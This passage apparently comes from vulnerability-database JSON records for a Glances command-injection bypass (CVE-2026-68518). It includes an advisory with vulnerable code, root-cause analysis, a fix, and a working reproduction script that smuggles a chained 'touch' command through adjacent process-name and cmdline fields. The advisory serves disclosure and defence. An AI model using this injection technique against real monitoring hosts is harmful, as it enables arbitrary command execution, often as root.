are\n# neutralised by chevron HTML-escaping '\u0026' -\u003e '\u0026amp;'.\nneg_item = dict(item); neg_item['cmdline'] = '\u0026 touch %s' % NEG\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl\", \"CRITICAL\", [\"logger p={{name}}{{cmdline}}\"], repeat=True, mustache_dict=neg_item)\ntime.sleep(0.3)\nprint(\"NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):\",\n      \"INJECTED\" if os.path.exists(NEG) else \"blocked (expected)\")\n\n# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field\n# _sanitize_mustache_dict leaves each single '\u0026'; the '\u0026\u0026' operator is\n# reconstructed after chevron.render, then split by secure_popen.\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl2\", \"CRITICAL\", [\"logger p={{{name}}}{{{cmdline}}}\"], repeat=True, mustache_dict=item)\ntime.sleep(0.5)\nprint(\"POSITIVE (unescaped {{{name}}}{{{cmdline}}}):\",\n      \"INJECTED - 'touch' executed\" if os.path.exists(MARK) else \"blocked\")\n```\n\nCaptured output (`glances` 4.5.5, Python 3.13, x86_64 Linux):\n\n```\nNEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)\nPOSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed\n```\n\nThe negative control confirms that the same attacker values under a standard\ndouble-brace template are blocked (chevron escapes `\u0026`). The positive case shows\nthe injected `touch` executing when the template uses two adjacent unescaped\nvariables: the file `/tmp/glances_crossfield_pwned` is created by the injected\ncommand, not by the intended `logger` action.\n\n### Impact\n\n- Arbitrary command execution as the OS user running Glances (frequently root on\n  monitored hosts) whenever an operator uses an unescaped, adjacent-variable\n  action template and an attacker controls two neighbouring stat fields.\n- The same reconstruction reaches `secure_popen()`'s file-redirection (`\u003e`) and\n  pipe (`|`) handling, allowing arbitrary file write and output piping in\n  addition to command chaining.\n- The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was\n  added specifically to stop attacker-controlled stat values from injecting shell\n  operators.\n\n### Suggested fix\n\nEnforce the operator ban on the **rendered** command string that comes from\ntemplate-variable expansion, rather than on the pre-render values in isolation.\nOne approach that mirrors the existing helper: render each variable, then reject /\nneutralise operators in the concatenated result, or strip lone `\u0026`/redirection\ncharacters that originate from variable data.\n\n```python\ndef _sanitize_mustache_dict(mustache_dict):\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            # Neutralise every shell-significant character that secure_popen\n            # can interpret, including a lone '\u0026' that could pair with an\n            # adjacent variable to reconstruct '\u0026\u0026'.\n            for ch in ('\u0026', '|', '\u003e', '\u003c'):\n                v = v.replace(ch, ' ')\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\nNeutralising the single `\u0026` (and the single `\u003e` / `|`) in each value removes the\ncross-field reconstruction because no operator character survives on either side\nof a variable boundary. Alternatively, sanitize `cmd_full` after\n`chevron.render()`, or pass the template-derived data as `secure_popen(...,\nallow_operators=False)` when the command originates from stat-field substitution.\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-08-17T16:36:37Z","modified":"2026-08-19T12:56:00.601626538Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:54.40888Z"},{"id":"PYSEC-2026-3668","title":"Glances has a command injection bypass of action-template sanitizer via cross-field shell-operator reconstruction","description":"### Summary\n\nThe Glances action system lets an administrator configure shell commands that run\nwhen a monitoring threshold is crossed. The command is a Mustache template whose\nvariables are filled with runtime stat fields such as a process name, a container\nname or a filesystem mount point. Those fields are attacker-influenceable: a\nlocal, unprivileged user who starts a process (or a container) controls its name\nand command line. The rendered command is executed by `secure_popen()`, which\ninterprets `\u0026\u0026`, `|` and `\u003e` as chaining / pipe / redirection operators.\n\n`glances/actions.py` defends against this with `_sanitize_mustache_dict()`, which\nstrips those operators from **each individual** template value before rendering.\nThe sanitization is applied per field, but the operators are reconstructed\n**across the boundary of two adjacent template variables** after Mustache\nrendering. When an action template concatenates two unescaped variables\n(`{{{a}}}{{{b}}}` or `{{\u0026a}}{{\u0026b}}`) and the attacker makes the first value end\nwith `\u0026` and the second begin with `\u0026`, the rendered command contains a real\n`\u0026\u0026`, and `secure_popen()` executes the injected command. The single-`\u0026` in each\nvalue passes the per-field filter untouched.\n\n### Affected versions\n\n`glances` `\u003c= 4.5.5` (verified against the published PyPI release `4.5.5`, the\nlatest at the time of writing; `glances.__version__ == \"4.5.5\"`). The\nper-field sanitizer `_sanitize_mustache_dict()` is present and active in this\nrelease. Not patched in any released version.\n\n### Privilege required\n\nTwo roles are involved:\n\n- A local, unprivileged user (or a container the attacker can name) supplies the\n  attacker-controlled stat values (process/container name, mount point, etc.).\n  This is the same trust boundary the action-template command-injection class\n  already recognises: the attacker controls the process name, not the\n  configuration.\n- An administrator has configured an action whose command template concatenates\n  two **unescaped** Mustache variables with no separating character\n  (`{{{name}}}{{{cmdline}}}`). Unescaped Mustache (`{{{ }}}` / `{{\u0026 }}`) is a\n  documented Chevron feature and is the natural choice when the operator wants a\n  value that contains shell-significant characters to reach the command verbatim.\n\nNo network access to the target host is required beyond the ability to run a\nprocess (or start a named container) on it.\n\n### Vulnerable code (file:line)\n\n`glances/actions.py:25-46` — the per-field sanitizer:\n\n```python\n# glances/actions.py:25\n_SHELL_OPERATORS = ('\u0026\u0026', '|', '\u003e\u003e', '\u003e')\n\ndef _sanitize_mustache_dict(mustache_dict):\n    \"\"\"Return a copy of mustache_dict with shell operators replaced by spaces.\"\"\"\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            for op in _SHELL_OPERATORS:\n                v = v.replace(op, ' ')          # per-field only\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\n`glances/actions.py:100-111` — sanitize-then-render-then-execute:\n\n```python\n# glances/actions.py:100\nfor cmd in commands:\n    if chevron_tag:\n        safe_dict = _sanitize_mustache_dict(mustache_dict)\n        cmd_full = chevron.render(cmd, safe_dict)   # concatenation happens here\n    else:\n        cmd_full = cmd\n    ret = secure_popen(cmd_full)                    # operators interpreted\n```\n\n### Root cause\n\n`_sanitize_mustache_dict()` removes `\u0026\u0026`, `|`, `\u003e\u003e`, `\u003e` from each value in\nisolation. It does not remove a lone `\u0026`, because a single `\u0026` is not one of the\nlisted operators. When two values are rendered next to each other by\n`chevron.render()`, a trailing `\u0026` from the first value and a leading `\u0026` from the\nsecond value join into a literal `\u0026\u0026` in `cmd_full`. `secure_popen()` then\n`cmd.split('\u0026\u0026')` and runs the second half as a separate `subprocess.Popen`\n(`shell=False`) process. The same reconstruction works for `\u003e` written as two\nadjacent `\u003e` characters split across the boundary (`...\u003e` + `\u003e...` and the\n`\u003e\u003e`/`\u003e` stripping is per field), and the sanitizer's own choice to sanitize\nbefore, rather than after, rendering is the defect.\n\nThis is an incomplete fix of the action-template command-injection issue\n(CVE-2026-32608 / GHSA-vcv2-q258-wrg7): `_sanitize_mustache_dict()` closes the\nsingle-field case but not the cross-field-reconstruction case. The correct place\nto enforce the operator ban is on the fully rendered command string (or by never\nletting template-variable data introduce operators), not on the pre-render values\none at a time.\n\nChevron HTML-escapes `\u0026`, `\u003c`, `\u003e`, `\"` inside standard double-brace `{{ }}`\nsections, so double-brace templates neutralise the `\u0026\u0026` reconstruction. The\nreconstruction is reachable specifically through **unescaped** variables\n(`{{{ }}}` / `{{\u0026 }}`), which is why the per-field sanitizer is the sole\nremaining control on that path.\n\n### Reachability / How input reaches sink\n\n1. A local unprivileged user starts a process (or a container) whose `name`\n   ends with `\u0026` and whose `cmdline` begins with `\u0026 \u003ccommand\u003e` (both are stored\n   verbatim in the plugin stat item).\n2. When the plugin crosses a `warning` / `critical` threshold,\n   `glances/plugins/plugin/model.py` calls `self.actions.run` with the full stat\n   item passed as the `mustache_dict` argument.\n3. `GlancesActions.run` sanitizes each value with `_sanitize_mustache_dict()`\n   (each keeps its single `\u0026`), then `chevron.render()` concatenates the two\n   adjacent unescaped variables, producing a literal `\u0026\u0026` in the command string.\n4. `secure_popen(cmd_full)` splits on `\u0026\u0026` and runs the attacker's segment as a\n   separate `subprocess.Popen(shell=False)` process.\n\nThe trust boundary crossed is process-name / container-name → shell operator,\nexactly the boundary the sanitizer was introduced to close.\n\n### Reproduction (end-to-end, against pinned version `glances==4.5.5`)\n\n```bash\n# 1. Install the latest published release into a clean venv\npython3.13 -m venv gv\n./gv/bin/pip install \"glances==4.5.5\"\n\n# 2. Run the reproducer, which drives the real\n#    glances.actions.GlancesActions.run() pipeline exactly as\n#    glances/plugins/plugin/model.py invokes it on an alert.\n./gv/bin/python repro.py\n```\n\n`repro.py`:\n\n```python\nimport os, sys, time\nsys.argv = ['glances']\nfrom glances.actions import GlancesActions\n\nMARK = \"/tmp/glances_crossfield_pwned\"\nNEG  = MARK + \"_neg\"\nfor f in (MARK, NEG):\n    try: os.remove(f)\n    except FileNotFoundError: pass\n\nclass Args:\n    time = 0\nga = GlancesActions(args=Args())\n\n# A processlist stat item; a local low-privilege user controls both 'name' and\n# 'cmdline' by spawning a process (the established GHSA-vcv2 threat model).\n# 'name' ends with '\u0026', 'cmdline' begins with '\u0026'  -\u003e  '\u0026\u0026' forms across the boundary.\nitem = {'name': 'evilproc\u0026', 'cmdline': '\u0026 touch %s' % MARK,\n        'pid': 1337, 'cpu_percent': 99.0, 'key': 'pid'}\n\n# NEGATIVE CONTROL: the same values under an ESCAPED double-brace template are\n# neutralised by chevron HTML-escaping '\u0026' -\u003e '\u0026amp;'.\nneg_item = dict(item); neg_item['cmdline'] = '\u0026 touch %s' % NEG\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl\", \"CRITICAL\", [\"logger p={{name}}{{cmdline}}\"], repeat=True, mustache_dict=neg_item)\ntime.sleep(0.3)\nprint(\"NEGATIVE CONTROL (escaped {{name}}{{cmdline}}):\",\n      \"INJECTED\" if os.path.exists(NEG) else \"blocked (expected)\")\n\n# POSITIVE: an UNESCAPED template with two adjacent variables. Per-field\n# _sanitize_mustache_dict leaves each single '\u0026'; the '\u0026\u0026' operator is\n# reconstructed after chevron.render, then split by secure_popen.\nga.status.clear(); ga.start_timer._start = time.time() - 999\nga.run(\"pl2\", \"CRITICAL\", [\"logger p={{{name}}}{{{cmdline}}}\"], repeat=True, mustache_dict=item)\ntime.sleep(0.5)\nprint(\"POSITIVE (unescaped {{{name}}}{{{cmdline}}}):\",\n      \"INJECTED - 'touch' executed\" if os.path.exists(MARK) else \"blocked\")\n```\n\nCaptured output (`glances` 4.5.5, Python 3.13, x86_64 Linux):\n\n```\nNEGATIVE CONTROL (escaped {{name}}{{cmdline}}): blocked (expected)\nPOSITIVE (unescaped {{{name}}}{{{cmdline}}}): INJECTED - 'touch' executed\n```\n\nThe negative control confirms that the same attacker values under a standard\ndouble-brace template are blocked (chevron escapes `\u0026`). The positive case shows\nthe injected `touch` executing when the template uses two adjacent unescaped\nvariables: the file `/tmp/glances_crossfield_pwned` is created by the injected\ncommand, not by the intended `logger` action.\n\n### Impact\n\n- Arbitrary command execution as the OS user running Glances (frequently root on\n  monitored hosts) whenever an operator uses an unescaped, adjacent-variable\n  action template and an attacker controls two neighbouring stat fields.\n- The same reconstruction reaches `secure_popen()`'s file-redirection (`\u003e`) and\n  pipe (`|`) handling, allowing arbitrary file write and output piping in\n  addition to command chaining.\n- The bypass defeats the dedicated `_sanitize_mustache_dict()` control that was\n  added specifically to stop attacker-controlled stat values from injecting shell\n  operators.\n\n### Suggested fix\n\nEnforce the operator ban on the **rendered** command string that comes from\ntemplate-variable expansion, rather than on the pre-render values in isolation.\nOne approach that mirrors the existing helper: render each variable, then reject /\nneutralise operators in the concatenated result, or strip lone `\u0026`/redirection\ncharacters that originate from variable data.\n\n```python\ndef _sanitize_mustache_dict(mustache_dict):\n    if not mustache_dict:\n        return mustache_dict\n    safe = {}\n    for k, v in mustache_dict.items():\n        if isinstance(v, str):\n            # Neutralise every shell-significant character that secure_popen\n            # can interpret, including a lone '\u0026' that could pair with an\n            # adjacent variable to reconstruct '\u0026\u0026'.\n            for ch in ('\u0026', '|', '\u003e', '\u003c'):\n                v = v.replace(ch, ' ')\n            safe[k] = v\n        else:\n            safe[k] = v\n    return safe\n```\n\nNeutralising the single `\u0026` (and the single `\u003e` / `|`) in each value removes the\ncross-field reconstruction because no operator character survives on either side\nof a variable boundary. Alternatively, sanitize `cmd_full` after\n`chevron.render()`, or pass the template-derived data as `secure_popen(...,\nallow_operators=False)` when the command originates from stat-field substitution.\n\n### Credit\n\nReported by tonghuaroot.","status":"published","published":"2026-08-19T11:56:26.704895Z","modified":"2026-08-19T12:45:08.224779597Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"},{"id":"UBUNTU-CVE-2026-68518","description":"Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.6, _sanitize_mustache_dict() in glances/actions.py sanitizes individual Mustache values before chevron.render(), allowing adjacent unescaped Mustache variables to reconstruct shell operators that secure_popen() executes when attacker-controlled process or container fields are rendered by an administrator-configured action template. This issue is fixed in 4.5.6.","status":"published","published":"2026-08-17T17:16:00Z","modified":"2026-08-19T13:32:52.384627221Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T16:56:57.159276Z"},{"id":"openSUSE-SU-2026:11674-1","title":"glances-common-4.5.6-1.1 on GA media","description":"These are all security issues fixed in the glances-common-4.5.6-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-02T00:00:00Z","modified":"2026-09-03T10:00:08.662507132Z","updated_at":"2026-11-02T16:58:39.516824Z"}]}}
